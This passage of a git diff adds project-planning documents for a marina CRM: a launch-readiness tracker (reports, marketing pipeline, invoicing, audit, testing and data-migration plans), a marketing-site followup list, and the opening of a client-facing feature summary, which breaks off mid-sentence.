panels stay port-wide with a "scoped to {areas}" + caption. Browser-verified (area A: total berths 117→11). **Status / + tenure type / document type deferred** — Status proved a light filter + here (can't retro-apply to historical trend charts; the vacant lists + are available-by-definition); see + `docs/superpowers/specs/2026-06-02-reports-polish-design.md`. + +#### Phase 3 — Marketing report (LAUNCH-BLOCK if Marketing is in beta scope) + +Not built. Spec at `docs/reports-content-spec.md` § Report 03 calls for: + +- 6 KPIs (inquiries, inquiry→interest %, inquiry→EOI %, inquiry→won %, + top source, avg time-to-respond) +- 6 charts (inquiries by source donut, source ROI stacked bar, full + funnel, conversion trend, country geo map via `react-simple-maps`, + time-to-respond histogram) +- 3 tables (top-converting sources, recent inquiries, stuck inquiries) +- Filters: specific source, mooring, UTM campaign + +**Blocker:** depends on the website actually sending UTM params (Init +1b step 4 — CRM-side shipped, website-side pending) AND on inquiry +data flowing from the new intake endpoint (Init 1b step 1 — pending +website env flip). + +#### Phase 4 — Financial report ✅ SHIPPED in b690fb8d + +**Decision taken (2026-06-02):** ship on the canonical `payments` + +`expenses` tables; invoices module stays OFF. The invoice-centric spec +(§ Report 02) was reframed onto the payments model so the report is +populated rather than 90% empty: + +- 7 KPIs: revenue collected (net of refunds), deposits, balance, + pipeline (expected deposits), outstanding deposits (expected−collected + on open deals = the AR analogue), expenses, net contribution. +- 6 charts: revenue by month (deposit/balance, with month/quarter/year + toggle), collection funnel (EOI → deposit → contract → won), + outstanding deposits by deal age (AR-aging analogue, no invoice due + dates exist), cash flow (inflow vs outflow), expense breakdown donut. +- 4 tables: outstanding deposits, recent payments, refund/write-off log, + expense ledger. +- All money normalised to port currency; 1y default range; templates + + CSV/XLSX/PDF export. + +**Follow-up (deferred, not launch-blocking):** if the user later flips +the invoices module ON, add invoice-sourced AR (due dates → true aging) + +- the invoice/payment-status/billing-entity filters from the original + spec. Browser-verified against live data (0 payment rows in dev → revenue + $0 correct; 165 expenses populate the expense surfaces). + +#### Phase 5 — Custom builder gaps + +v1 ships 4 entities; full spec wants 10 + advanced composition. + +- ❌ **Missing entities**: yachts, companies, invoices, expenses, + documents, websiteSubmissions, payments. Each is a registry-only + extension — add a `CustomEntityDefinition` to + `src/lib/reports/custom/registry.ts`. ~30 min per entity. +- ❌ **Filters beyond date range** — spec wants per-column filter rows + (column → operator → value, AND/OR between rows). Today only the + date range filter exists. +- ❌ **Group by + aggregate** — single group-by dimension + per-column + aggregate (count / sum / avg / min / max). Today only a flat list. +- ❌ **Column sort** — pick a column + direction. Today rows return + with the registry's hardcoded `orderBy`. +- ❌ **Live preview as you build** — spec wants debounced re-render on + filter / column change. Today the rep clicks "Run query" to fetch. +- ❌ **Column whitelist per role** — PII columns (`email`, `phone`) + should be gated by `clients.view_pii`. Today all listed columns are + available to anyone with `reports.export`. +- ❌ **Run-once vs Save-as-template** — the spec asks for three buttons + on save (Run once / Save as template / Update existing). Today only + the template-save path exists. + +#### Phase 6 — Scheduled runs gaps + +- ❌ **Custom cron strings** — three hardcoded cadences (weekly Mon 9 · + monthly 1st 9 · quarterly 1st 9). Spec implies arbitrary cron. + `nextRunFor` in `report-schedules.service.ts` switches on the enum; + extend to support a `cron_expression` mode. +- ❌ **Scheduled CSV / XLSX** — only PDF is wired through the worker + (`renderStandaloneReportRun` in `report-render.service.ts`). For + CSV/XLSX, the worker would need to either run the existing client-side + exporter server-side (drop ExcelJS into the worker bundle) or build + format-specific server renderers. + +#### Phase 7 — Templates gaps + +- ❌ **"Modified ●" indicator** — when the rep changes view state after + loading a template, the active-template badge currently just clears. + Spec wants a visible "modified" marker so they know they've drifted. +- ❌ **Personal vs port-wide scope** — schema has the `visibility` + column with `'private' | 'team'` but the UI always saves as port-wide. + The Save dialog needs a scope picker. +- ❌ **"Owned by" attribution** — templates with `visibility='team'` + should show creator name. Schema captures `createdBy`; UI doesn't + surface it. +- ❌ **Promote-to-port-wide affordance** — once shipped, a "Share with + team" action on personal templates that flips visibility. + +#### Net launch-readiness for reports + +If the launch scope is **Sales + Operational only**, reports are +launch-ready with the polish items above as post-launch follow-ups. + +If the launch scope includes **Marketing + Financial**, both reports +need to be built AND their data plumbing finished (Init 1b website +flip + UTM forwarding for Marketing; invoices module + rep training +for Financial). + +The cross-cutting filter set (period comparison, rep / source +multi-select, empty-state copy) is the highest-value polish that's +visible on every report — call it ~6-8 hours of work spread across +both shipped report pages + the shared FilterBar component. + +--- + +## Initiative 1b — Marketing data pipeline cutover + +**Status:** OPEN · Blocks the Marketing report + +The CRM has the **full infrastructure** for marketing intake + +attribution; it's just not connected end-to-end. + +What's built: + +- **Email-open pixel tracking**: `src/app/api/public/email-pixel/[sendId]/route.ts` + - `src/lib/email/tracking-pixel.ts`. Sales sends with + `trackOpens=true` get a 1×1 pixel; opens record to + `email_send_opens` and cross-post to Umami. +- **Umami integration**: `@umami/node` installed; `src/lib/services/umami.service.ts` + is the wrapper. Outcome events (EOI sent, deposit received, etc.) + already cross-post into Umami. +- **Website inquiry intake endpoint**: `/api/public/website-inquiries` + in the CRM, paired with `/api/public/residential-inquiries`. Both + validate + dual-write into `website_submissions`. +- **Website posting code**: `Port Nimara/Website/server/utils/crmIntake.ts:72` + has the matching POST. Just needs the env var to point at the new + CRM. + +What's NOT connected yet: + +1. **Website env `CRM_INTAKE_URL`** still points at the old portal (or + isn't set). Flipping this is a ~5-min config change inside the + website Nuxt deploy. After flip, every website inquiry lands in + `website_submissions` + auto-routes to the inquiry-triage queue. +2. **Backfill of historical inquiries** from the old portal so the + Marketing report has launch-day history rather than starting from + zero. Reads from `client_portal_v2`'s inquiry table, inserts into + `website_submissions` with original `receivedAt` timestamps, + re-links to existing CRM clients via dedup (email/phone). +3. **Umami funnel events on the marketing site itself**. The Umami + project exists; what's unclear is whether the marketing site is + firing `event:` calls on key actions (form submitted, brochure + downloaded, virtual-tour started). Audit needed. +4. **UTM column wiring**. ✅ CRM-side SHIPPED — migration `0089_website_submissions_utm.sql` + adds `utm_source / utm_medium / utm_campaign / utm_term / utm_content` + to `website_submissions` plus a `(port_id, utm_source, received_at)` + composite index for per-campaign rollups. `/api/public/website-inquiries` + accepts the five fields in the request body and persists them on + insert. **Pending website-side change**: the marketing site's + `crmIntake.ts` POST must forward UTM params from the form's query + string / cookies. **Pending residential parity**: residential + inquiries (`/api/public/residential-inquiries`) don't go through + `website_submissions`; if Marketing report needs UTM attribution on + residential leads too, add the same columns to `residential_clients` + in a follow-up. + +Sequencing: + +- Step 1 is the cutover unblock (do during launch window itself). +- Step 2 is part of Initiative 5 (data migration). +- Step 3 is a website-side audit (Initiative 3). +- Step 4 is a small CRM-side schema add (one migration + 4 column + reads). Decision pending: ship at launch or defer to Phase 2. + +--- + +## Initiative 1c — Invoicing audit-and-finish + +**Status:** SPIKE COMPLETE · Module-toggle shipped · Financial report deferred + +### Audit findings (2026-05-27 spike) + +The CRM has two parallel money-receiving flows in active code: + +1. **`payments` table — canonical, in active use.** Schema comment at + `src/lib/db/schema/pipeline.ts:75` is unambiguous: "The CRM does + NOT generate invoices — clients pay banks directly. We record that + money was received." Linked to `interests`. `recordPayment` + auto-advances pipeline to `deposit_paid` when the cumulative + deposit total hits `depositExpectedAmount`. This is the surface + reps actually use; payments are recorded from the per-interest + **Payments** tab. +2. **`invoices` + `invoice_line_items` table — orphaned in the UI.** + Full builder (line items, PDF, send, mark-paid) exists at + `/[portSlug]/invoices/new`. The sidebar nav entry was removed + earlier; only the page itself can link to `invoices/new`. Dev DB + has zero rows. The standalone surface is parallel infrastructure + for the rare case where an operator wants to invoice a client + directly from the CRM, plus the employee-expense-report flow + (`expenses → invoices` PDF). + +### Decision (per the existing "intentionally manual elsewhere" branch) + +Ship a port-level module toggle, default OFF, identical pattern to +the Tenancies and Expenses toggles. The Financial report stays +deferred from launch since the canonical Payments tab feeds the +Sales report (which is shipping) — separate Financial dashboard adds +no value when there's no second money-receiving flow. + +**What shipped (2026-05-27):** + +- `system_settings` registry entry `invoices_module_enabled` (boolean, + port-scoped, default `false`) — added to + `src/lib/settings/registry.ts`. +- New module-gate service `src/lib/services/invoices-module.service.ts` + with `isInvoicesModuleEnabled(portId)` (same shape as + `isExpensesModuleEnabled`). +- Layout-level guard at `src/app/(dashboard)/[portSlug]/invoices/layout.tsx` + — every `/invoices/*` route renders `` when the + port hasn't opted in. Admins can flip on from Admin → Settings; + historical rows preserved. + +**What's NOT changed:** + +- API endpoints (`/api/v1/invoices/*`) still respond — historical PDF + links + send-flow webhooks keep resolving regardless of the toggle. +- The `payments` flow is untouched and continues to be the canonical + money-received path. +- The expense → invoice flow (employee expense reports) is + unaffected since employee-expense PDFs flow through a different + surface (`/expenses`) that lives behind its own module gate. + +**Follow-up:** if the user later wants per-port branded +client-facing invoicing from inside the CRM, the surface is ready to +turn on with no schema work — just flip `invoices_module_enabled = true`. + +--- + +## Initiative 2 — Multi-agent codebase audit + +**Status:** ✅ COMPLETE (2026-06-02) — audit + full remediation shipped. +17-lane multi-agent audit (3 workflow passes + adversarial verification + +completeness critic) produced **85 distinct findings** (4 CRITICAL / 17 +HIGH / 29 MEDIUM / 35 LOW), all triaged and remediated across 28 +`fix(audit)` commits; 84 fixed, L21 verified a false positive. tsc-clean, +1103/1103 unit tests green. Two DB-schema migrations (M23 invoice +`numeric(12,2)`, M25 `client_contacts` email unique index) deferred with +their code fixes shipped. Full report + per-finding fix mapping: +**`docs/audits/2026-06-02/findings-master.md`** (§ Remediation status). + +User ask: "deep, multi-agent audit of all routes, naming, text, UX, and +… dig through the entire code of everything in the system (especially +related to the sales process) and find any issues in the logic or how +the functionality interacts with each other, how data is shared and +persists where needed. Also a deep security audit." + +Audit dimensions (use one specialised agent per dimension, in parallel): + +| # | Dimension | Specialised agent | Output | +| --- | ----------------------------- | ---------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | +| 1 | **Sales pipeline logic** | `feature-dev:code-explorer` | Trace every stage transition; verify auto-advance rules, EOI gating, deposit handling, contract signing. Look for stale enum references (the 9→7 stage migration left some bugs). | +| 2 | **Cross-entity data flow** | `feature-dev:code-explorer` | Map polymorphic ownership (yacht/company), interest_berths (multi-berth), document folders (aggregated projection), notes (4-table dispatch). Find divergence between docs and code. | +| 3 | **Security** | `security-review` (existing skill) | OWASP API Top 10, auth bypass, IDOR, injection, secret leakage, GDPR exposure. Multi-tenant boundary checks (port_id at every join). | +| 4 | **API surface consistency** | `code-review:code-review` | `{ data: T }` envelope adherence, `errorResponse(error)` usage, `parseBody(req, schema)` usage, 204 vs JSON, withAuth+withPermission composition. | +| 5 | **UI/UX consistency** | `frontend-design:frontend-design` review | Visual inconsistencies, copy/text issues, accessibility, mobile parity, brand drift, em-dashes, generic SaaS slop. | +| 6 | **Schema vs code divergence** | `feature-dev:code-explorer` | Migrations vs Drizzle schema files vs service helpers — find any column the DB has that no service touches, or any service field with no migration. | +| 7 | **Documenso integration** | `feature-dev:code-explorer` | Full v1↔v2 path coverage, webhook idempotency, template field mapping, EOI generation (both pathways), error recovery. | +| 8 | **Storage & file lifecycle** | `feature-dev:code-explorer` | S3↔filesystem switching, file orphans, signed-URL expiry, GDPR export coverage, magic-byte validation everywhere. | + +Coordination: + +- Use a **single coordinator session** that fans out via `Agent` / + `TaskCreate` with `subagent_type` set per dimension. Each agent writes + findings to a per-dimension scratch file under + `docs/audits/2026-05-27/.md`, then the coordinator + consolidates into a single triage doc with severity tags. +- Pass `model: "opus"` on every agent spawn — Sonnet/Haiku context + windows compact too fast under MCP baseline (per memory + `feedback_subagent_context_bloat`). + +Output: `docs/audits/2026-05-27/findings-master.md` with per-finding +severity (`CRITICAL | HIGH | MED | LOW`), file:line refs, and +recommended fix. Critical + High get fixed before launch. + +--- + +## Initiative 3 — Marketing website integration + +**Status:** OPEN · Needs scope clarification + +User ask: "make our relevant edits to the marketing website to prepare +for the deployment and integration of our new system." + +The marketing site lives in `/Users/matt/Repos/Port Nimara/Website` +(separate Nuxt repo). Integration touch points the CRM exposes today: + +- **`/api/public/berths`** + **`/api/public/berths/[mooringNumber]`** — + feeds the marketing site's berth list / detail. Status precedence + Sold > Under Offer > Available is already wired. +- **`/api/public/health`** — dual-mode health check; the website should + call the authenticated variant (with `WEBSITE_INTAKE_SECRET`) on + startup so it refuses to start when pointed at the wrong CRM env. +- **`/api/public/website-inquiries`** — intake endpoint for the contact + form; dual-writes inquiry into the CRM. +- **Inquiry email ownership** — at cutover, inquiry emails move from + the website to the CRM (per memory + `project_email_ownership_at_cutover`). Templates + settings keys + already exist; berth public endpoint + admin recipient UI still + needed (per existing memory). +- **Cover photography + branding assets** — the new system uses + `branding_email_background_url` etc.; ensure the website assets + match. + +Open work (needs user input on priority): + +- Wire the website's contact form to `/api/public/website-inquiries` + with the new payload shape. +- Add the `WEBSITE_INTAKE_SECRET` to the website's env, point at the + authenticated `/api/public/health`. +- Update berth-detail page to consume the new `/api/public/berths/...` + shape (the JSON mirrors the legacy NocoDB shape so this should be + a no-op — VERIFY). +- Replace any hard-coded "noreply@portnimara.com" sender on the + website side with the CRM-controlled From address (so per-port + branding wins). +- Confirm the website's caching headers don't fight ours + (`s-maxage=300, stale-while-revalidate=60` on berth endpoints). + +--- + +## Initiative 4 — End-to-end testing + +**Status:** OPEN · Needs scope clarification + +User ask: "end to end testing of all sales functions, generating +EOIs/documents (especially), ensuring all UX/UI is fluid, beautiful, +relevant and helps the user go through the sales process effortlessly." + +Existing infrastructure (per `CLAUDE.md`): + +- `tests/e2e/smoke` — fast click-through (~10 min, ~125 specs) +- `tests/e2e/exhaustive` — deeper UI coverage +- `tests/e2e/destructive` — archive/delete/cancel paths +- `tests/e2e/realapi` — opt-in real Documenso + IMAP round-trip +- `tests/e2e/visual` — pixel-diff baselines + +Pre-launch test gaps to fill (proposed): + +1. **End-to-end sales journey** (single Playwright spec, real-API): new + inquiry → qualified → EOI generated (Documenso) → client signs → + developer countersigns → reservation → deposit recorded → contract + generated → contract signed → tenancy auto-created → berth marked + sold. Assert every stage transition + every email fires. +2. **EOI generation parity** between both pathways (in-app + `fill-eoi-form` vs Documenso template). Same `EoiContext` should + produce equivalent PDFs. +3. **Multi-berth EOI rendering** — berth range formatter assertion + (`A1-A3, B5-B7` from `interest_berths`). +4. **Documenso webhook idempotency** — replay the same `DOCUMENT_COMPLETED` + webhook three times; assert single `files.folder_id` write + no + duplicate audit-log rows. +5. **Storage backend swap** — switch port to filesystem, generate EOI, + verify file lands; switch back to S3, confirm migrate script moves + the blob correctly. +6. **Visual snapshot refresh** for the new Reports UI + back-button + smart-back changes (this conversation). +7. **Mobile parity** for the entire sales journey (different Playwright + project or `--config` variant). + +Each gap above becomes one or two new spec files. Coordinate with +Initiative 2's audit so we don't double-test. + +--- + +## Initiative 5 — Data migration (legacy → new) + +**Status:** OPEN · High effort · Likely blocker for cutover + +> **Infra cutover plan:** `docs/deployment-plan.md` — prod deploy of the CRM +> to `crm.portnimara.com` (nginx + certbot + registry-image compose), +> Gitea/CI access, and the Documenso backup + safe-upgrade procedure. Access +> (SSH + Gitea API) established 2026-05-31; no prod changes without explicit +> approval. Deployment creds in `private/deployment-creds.md` (gitignored). + +User ask: "start pulling all existing prod data from the old system and +connected systems (we'll have to backfill the EOIs by pulling them +through MinIO — it's a fucking mess so I'll really need your help +automating/speeding up that process) and initiate a preliminary switch +over." + +Sources to drain: + +| Source | Storage | Entities | Notes | +| ------------------------------- | ------------------ | -------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------- | +| Old NocoDB tables | Postgres / NocoDB | Clients, yachts, companies, interests, berths, EOIs (metadata) | Already imported in earlier migration; verify currency vs prod NocoDB. | +| Old portal (`client_portal_v2`) | Nuxt + Postgres | Portal users, signing history, sent invitations | Need to confirm what hasn't been migrated yet. | +| MinIO (legacy bucket) | Object storage | EOI PDFs (signed + unsigned), receipts, contracts | The "fucking mess" — naming is inconsistent, organisation unclear, need to map each blob back to its CRM entity. | +| Documenso v1 (live) | Documenso server | In-flight signing envelopes + signed PDFs | Migration question: do we cut new EOIs to v2 and let v1 envelopes finish, or migrate the in-flight? | +| Email archives | IMAP / mail server | Inquiry replies, signing reminders, deposit confirmations | Probably out of scope for cutover (read-only history). | + +Migration script plan (write under `scripts/migration/`): + +1. **`probe-minio.ts`** — scan the legacy MinIO bucket, list every blob, + try to extract a client / interest / berth identifier from filename + patterns. Produce `docs/migration/minio-blob-inventory.csv` with + `key, size_bytes, mime, probable_entity_type, probable_entity_id, confidence`. +2. **`backfill-eoi-pdfs.ts`** — for each inventoried blob with confidence + ≥ HIGH, copy from legacy MinIO into the new storage backend, create a + matching `files` row + `documents` row, deposit into the right + entity folder via the existing `ensureEntityFolder` helper. Idempotent + via `legacy_minio_key` column (add via migration if missing). +3. **`reconcile-nocodb.ts`** — diff the live NocoDB tables against our + imported state; report rows added/changed/deleted since last import. +4. **`preflight-cutover.sh`** — orchestrator script that runs the three + above in order, writes a final report. + +Cutover plan: + +1. Freeze writes on the old system (NocoDB read-only, portal + maintenance page). +2. Run `preflight-cutover.sh` against frozen sources. +3. Manual reconciliation of probe-minio rows where confidence < HIGH + (likely a few hundred blobs — the user explicitly flagged this is + manual labour, automation helps but doesn't replace it). +4. DNS / website pointer flip. +5. Watch error_events for 24h; rollback plan = re-enable old system + writes and stop the cutover commit. + +--- + +## Cross-initiative open questions + +- **When to wrap the launch audit doc.** I'd suggest: after Initiative + 2's findings are triaged AND Initiatives 3-5 reach IN PROGRESS. At + that point this file becomes the launch-day-runbook. +- **Who's the launch sponsor / decision-maker?** Different from + "user / matt"? Affects who signs off on cutover. +- **Soft launch vs hard cutover?** Hard cutover is simpler operationally + but risky; soft launch (parallel writes for a week) is safer but + requires the old system to keep accepting writes for longer. + +--- + +## 2026-06-01 — Feature-completeness sweep & launch-prep decisions + +A read-only sweep (ahead of the ~same-day launch) checked the whole +platform for half-built / stubbed surfaces beyond the known Reports +gaps. It resolved two stale-doc contradictions: **Documenso signing +phases 2–7 are fully built and wired** (`BACKLOG.md` §A is stale on +this), and the **interest Contract/Reservation tabs are fully built** +(not "coming soon" cards). Findings + decisions below. + +**Decision (per Matt, 2026-06-01):** launch is ~today, so **ship what's +done, hide what's not, defer the big builds** — do NOT revert to the old +desktop-spreadsheet reports (a downgrade), and do NOT rush the +unproven full builds onto a same-day prod launch. + +### Shipped today (launch-prep, low-risk; SHIPPED) + +- **Hid Financial + Marketing report cards** from the reports landing + (`reports/page.tsx`) — both were "Builder in development" placeholders + gated on unbuilt data sources (Init 1b/1c). The reports section ships + with the working **Sales + Operational + Custom** reports + templates + + scheduling + PDF/CSV/Excel exports. The basic Custom builder already + covers the old desktop-report use case (entity + columns + date range + + export) — parity-plus, not a regression. +- **Trimmed the Custom-report card copy** so it stops promising + group-by/filters/dimensions it doesn't yet have (the builder page + header was already honest). +- **Hid the Bulk Import mockup** from nav + search + (`admin-sections-browser.tsx`, `search-nav-catalog.ts`). The static + `/admin/import` mockup is now unreachable from the UI (route still + resolves by direct URL). +- **Corrected client-facing doc over-claims** in `features-list.md` + + `new-system-feature-summary.md` (removed the waiting-list + "next-in-line notification" claim — built but hidden; removed Import + from the admin-pages list, 43→42). + +### Deferred to post-launch (tracked here; none launch-blocking) + +- **Full Bulk CSV/XLSX importer** — design APPROVED + spec written: + `docs/superpowers/specs/2026-06-01-bulk-import-design.md` (generic + engine + per-entity adapter registry; 7 entities; column-mapping, + dry-run, dedup, per-batch undo). Cutover data migration runs through + the existing CLI scripts (`import-berths-from-nocodb.ts` + the + Initiative 5 migration scripts), so the UI importer is **not needed + for launch**. +- **Full Custom-report builder** — group-by + aggregates, sort, + per-column filter rows (AND/OR), debounced live preview, the remaining + 6 of 10 entities, per-role PII column whitelist. Architecture decided + (per-column expression map + generic Drizzle query composer); spec + deferred. Basic builder ships as-is. +- **Berth Waiting List** — ✅ **SHIPPED in 8be7a6e2.** `WaitingListManager` + tab un-hidden + wired. _Still deferred: the availability-triggered + next-in-line notification (today only a `notifyPref` column is stored; + no sender exists)._ +- **Berth Maintenance Log** — ✅ **SHIPPED in 8be7a6e2.** UI tab mirroring + the waiting-list manager, on the existing API + service. +- **Contract/Reservation paper-upload misroute (BUG)** — ✅ **SHIPPED in + d98aa5cc.** Added contract/reservation paper-upload endpoints + + pointed `ExternalEoiUploadDialog` at the right one per docType, so a + paper-signed contract/reservation no longer files as an EOI. +- **Marketing + Financial reports** — remain unbuilt + now hidden; gated + on Init 1b (website UTM/inquiry cutover) and Init 1c (invoices-module + decision) respectively. diff --git a/docs/marketing-site-followups.md b/docs/marketing-site-followups.md new file mode 100644 index 00000000..dba76e97 --- /dev/null +++ b/docs/marketing-site-followups.md @@ -0,0 +1,37 @@ +# Marketing-site followups + +Items that require edits to the **separate marketing-site repo** (port-nimara.com / portnimara.com), not the CRM. These can't ship from this codebase; they're parked here so they don't get lost when we drain the CRM audit doc. + +Last updated: 2026-05-26. + +--- + +## Umami analytics — Phases 4a, 3, 5 + +**Source:** `docs/superpowers/audits/alpha-uat-master.md` — Umami follow-ups parked at end of the 2026-05-19 build session. + +- **Phase 4a — Marketing-site instrumentation.** The CRM's Umami integration (Phase 4b — pixel + tracked-link events on outbound sales emails) is shipped. Phase 4a is the parallel work on the marketing site: add the Umami tracking script to every page, instrument the public berth inquiry form submission, instrument the "request more info" buttons, and confirm session-level attribution flows back to the same Umami workspace the CRM reads. +- **Phase 3 — Events tab.** Once 4a lands, the CRM's `/admin/website-analytics` page gets an Events tab that lists every named Umami event (inquiry-submitted, brochure-downloaded, berth-details-viewed, contact-clicked, …) with counts, top-source breakdown, and a 30-day trendline. Backend already proxies `/api/umami/events`; UI surface is the missing piece. Blocked on 4a sending real event data. +- **Phase 5 — Funnels.** Multi-step funnel widget on the dashboard ("landed on /berths → opened a berth → submitted inquiry → was created as a CRM interest → reached EOI stage"). Joins Umami sessionId with the CRM's `interests.umamiSessionId` snapshot we already write. Blocked on 4a so the first three steps have real data to consume. + +--- + +## Email-tracking end-to-end verification + +**Source:** alpha-uat-master.md — Bucket 2 Umami follow-ups. + +- **Verify the pixel + tracked-link with a real send** — flip `email_open_tracking_enabled = true` for port-nimara, send a real sales email to a personal inbox, open it in Mail.app + Gmail web, confirm: (a) a `document_send_opens` row appears, (b) `open_count` + `first_opened_at` increment on the parent row, (c) Umami records an `email-opened` event. Same drill for `/q/` short-links once the composer ships them. Cannot be automated — needs a real human inbox. This is a CRM-side manual UAT step but it depends on the marketing-site short-link redirector being live. + +--- + +## Public berth endpoint email recipient UI (parking note) + +**Source:** memory — "Email ownership at cutover" (`project_email_ownership_at_cutover.md`). + +When the marketing site cuts over and inquiry emails route through the CRM rather than the website's own SMTP, the public berth endpoint + the admin recipient UI need to be in place. Templates + settings keys exist on the CRM side; the marketing-site side needs the form submission target updated to hit `/api/public/website-inquiries` (or whichever the final endpoint is) instead of the legacy mailto. Coordinate as one rollout. + +--- + +## How to triage when picking these up + +Each item here has a CRM-side prerequisite or downstream consumer that's already in place. The work itself lives in the marketing-site repo. When you tackle one, link the marketing-site PR back into this file and tick the item off — keep this doc shrinking, not growing. diff --git a/docs/new-system-feature-summary.md b/docs/new-system-feature-summary.md new file mode 100644 index 00000000..c97060dd --- /dev/null +++ b/docs/new-system-feature-summary.md @@ -0,0 +1,338 @@ +# Port Nimara CRM — What's New & What's Improved + +A client-friendly summary of the new Port Nimara CRM, framed against what the previous system provided. The new platform is a complete, purpose-built CRM that replaces a website + spreadsheet-style data store with a single integrated workspace for sales, berths, documents, communications, and reporting. + +> Scope note: this summary covers the features that are ready for the beta launch. The new client portal, the tenancies module, and the new invoicing module are still being finalised and are intentionally not included here. + +--- + +## At a glance + +**Previously**, day-to-day sales work happened across three places: the public website (where enquiries landed), the back-end database tool (where data was inspected and edited), and a separate internal portal (where signing, expenses, and a handful of staff tools lived). + +**Now**, all of that lives inside a single, branded CRM at `crm.portnimara.com`-style URLs (one per port). The website still publishes berths and accepts enquiries — but those enquiries flow into the CRM and are managed there, from first contact through deposit, contract, and signing. + +The CRM is built on a dedicated relational database designed specifically for marina sales workflows, with real-time updates, role-based permissions, a full audit trail, and a clean modern interface that adapts to mobile. + +--- + +## Platform-level upgrades + +These improvements apply across every feature area: + +- **Purpose-built database.** The system runs on a dedicated relational database (PostgreSQL) modelled specifically for marina sales. Compared with the previous spreadsheet-style data store, it's faster on large data sets, supports rich relationships between entities (clients, companies, yachts, berths, deals, documents), and enforces data integrity so duplicates and broken links don't slip through. +- **Real-time updates.** When a colleague edits a deal, advances a stage, attaches a file, or completes a signing, every other open window updates within a second. No more "refresh to see what changed". +- **Per-port branding and configuration.** Each port has its own URL slug, logo, primary colour, default currency, timezone, and email templates. Emails, PDFs, and the in-app shell all pick up the right brand automatically. +- **Granular role-based permissions.** Roles are defined per resource (clients, berths, documents, expenses, reports, etc.) with separate view / create / edit / delete / export verbs. Admins can override permissions per user as well as per role. +- **Full audit trail.** Every meaningful change (who, what, before-and-after, when) is recorded, retained for 90 days, and searchable. Used in the activity feed, the field-history popovers, and the admin audit log. +- **Backups and operational tooling.** Automatic daily database backups, weekly cleanup, configurable retention windows, and a built-in system-monitoring dashboard for staff to verify the queue and integrations are healthy. +- **Background job queue.** Heavy or slow work (PDF generation, email sending, exports, webhook retries, bounce polling) runs on a managed queue so the interface stays responsive and nothing is silently lost. +- **GDPR-ready.** One-click Article 15 data exports per client, automatic 30-day cleanup of export bundles, and a permissioned hard-delete flow for Article 17 requests. +- **Pluggable file storage.** Files live in object storage (S3-compatible) by default, with a one-command migration script to switch backends without rewriting any code. + +--- + +## 1. Sales pipeline + +A complete sales CRM where the team manages every deal from first enquiry to contract. + +- **Kanban board** across seven canonical stages (Enquiry → Qualified → Nurturing → EOI → Reservation → Deposit Paid → Contract) with drag-and-drop, per-column counts, and completed-deal hiding. +- **List view** with sorting, filtering, paging, card / table toggle, bulk actions, and saved views per user. +- **Deal detail page** with tabs for overview, EOI, contract, reservation, documents, contact log, notes, and timeline. Every field is inline-editable in place — no separate edit modal to wade through. +- **Multi-berth interests.** A single deal can attach multiple berths with three independent flags: which berth is the deal's primary, which are publicly "under offer", and which are included in the EOI bundle. The previous system stored at most a single berth link per enquiry. +- **Auto-advancing stages.** Deposits hitting their expected amount, EOI completion, contract signing, etc. move the deal forward automatically; staff can intervene if the rules need overriding. +- **Pipeline rules engine.** Seven configurable triggers (EOI sent, EOI signed, deposit received, contract signed, deal archived, deal completed, berth unlinked) each with auto / suggest / off modes and a per-port target berth status. Admins can tune the rules without engineering involvement. +- **Outcomes.** Terminal outcomes (won, lost to another marina, lost unqualified, lost no response, cancelled) are captured via an outcome dialog with required reason capture. +- **Tags, notes, contact log, and activity timeline** on every deal. Tags are inline-editable; notes use a single underlying engine shared across clients, deals, yachts, and companies. +- **Saved views and recently-viewed.** Each user can pin reusable filter+sort snapshots; recently-viewed items appear in the topbar for quick return. +- **Lead scoring badge** and **qualification checklist.** Per-port qualifying criteria are admin-defined; each deal shows a checklist and a derived score. +- **Bulk actions.** Change stage, add/remove tags, archive — with confirmation dialogs and audit-logged outcomes. +- **Pipeline summary on each client.** All a client's open and historic deals roll up onto their detail page. + +_Previously, deal management happened directly inside the back-end data tool — no kanban, no stage workflow, no auto-advance, no tags, no notes per deal, no scoring, and no per-deal timeline._ + +--- + +## 2. Berths + +Catalog, public-facing feed, recommender, demand signals, and rich per-berth artefacts. + +- **Catalog with list and card views**, filterable by status, area, dimensions; every field inline-editable on the detail page. +- **Public berth feed** at `/api/public/berths` and `/api/public/berths/[mooringNumber]` feeds the marketing site. Output mirrors the previous shape exactly so the website didn't need a rewrite; status is computed with a clear precedence (Sold > Under Offer > Available) and served from a 5-minute cache for fast page loads. +- **Per-berth PDFs are versioned.** Every upload creates a new version; the current version is the live one. PDFs are parsed automatically through three tiers (form-fields → OCR → optional AI), and the system flags mismatches when the mooring number on the PDF doesn't match the berth. +- **Per-port brochures.** Multiple brochures supported per port with one default enforced. Same upload + version flow as berth PDFs. +- **Send-berth-PDF dialog.** Branded email composition that attaches the berth PDF (or shares a signed-URL link when the file is over the size threshold). +- **Berth recommender.** A pure-SQL ranking that surfaces matching berths per deal via a four-tier ladder (A/B/C/D). Tier B uses heat scoring; weights are configurable in admin so the model can be tuned per port. +- **Demand heat scoring.** Per-berth demand intensity, shown on the dashboard widget and on each berth's detail panel. +- **Active interests popover.** Hover/tap any berth to see which deals are currently linked to it. +- **Bulk price edit.** A sheet for updating prices across many berths at once. +- **Bulk-add berths wizard** for onboarding new inventory in batches. +- **Catch-up wizard** to reconcile legacy state when migrating berth data. + +_Previously, berths were a flat list with a basic dimension filter on the public site. There was no recommender, no demand heat, no per-berth PDF versioning, no bulk price editor, and no internal berth detail page._ + +--- + +## 3. Yachts + +First-class yacht records with proper ownership and history. + +- **Polymorphic ownership.** A yacht can be owned by either a client (individual) or a company; the system models this correctly throughout — search, documents, pipelines, and reports all respect the discriminator. +- **Ownership history.** Every transfer is recorded with date and parties; previous owners are visible from the yacht detail. +- **Yacht transfer dialog** for moving a yacht between owners (client → client, client → company, etc.) with audit trail. +- **Inline editing** of all dimensions and identifiers; dimensions are normalised and validated. +- **Yacht picker reused everywhere** — when creating a deal, attaching a document, or filing under an entity, the same searchable picker appears. + +_Previously, yachts were not stored as their own records — they were free-text fields on enquiry submissions._ + +--- + +## 4. Companies & memberships + +First-class company entities with member relationships. + +- **Companies list and detail** with tabs for overview, members, owned yachts, and files. +- **Members management.** Add/remove members with active/inactive state and roles. Membership reach feeds into the documents projection (a client gets to see relevant company files automatically). +- **Polymorphic ownership.** Companies can own yachts and be the contractual party on a deal, mirrored across the codebase rather than improvised per surface. +- **Files tab** on company detail showing both directly-attached files and files reaching through related entities. + +_Previously, companies did not exist as a 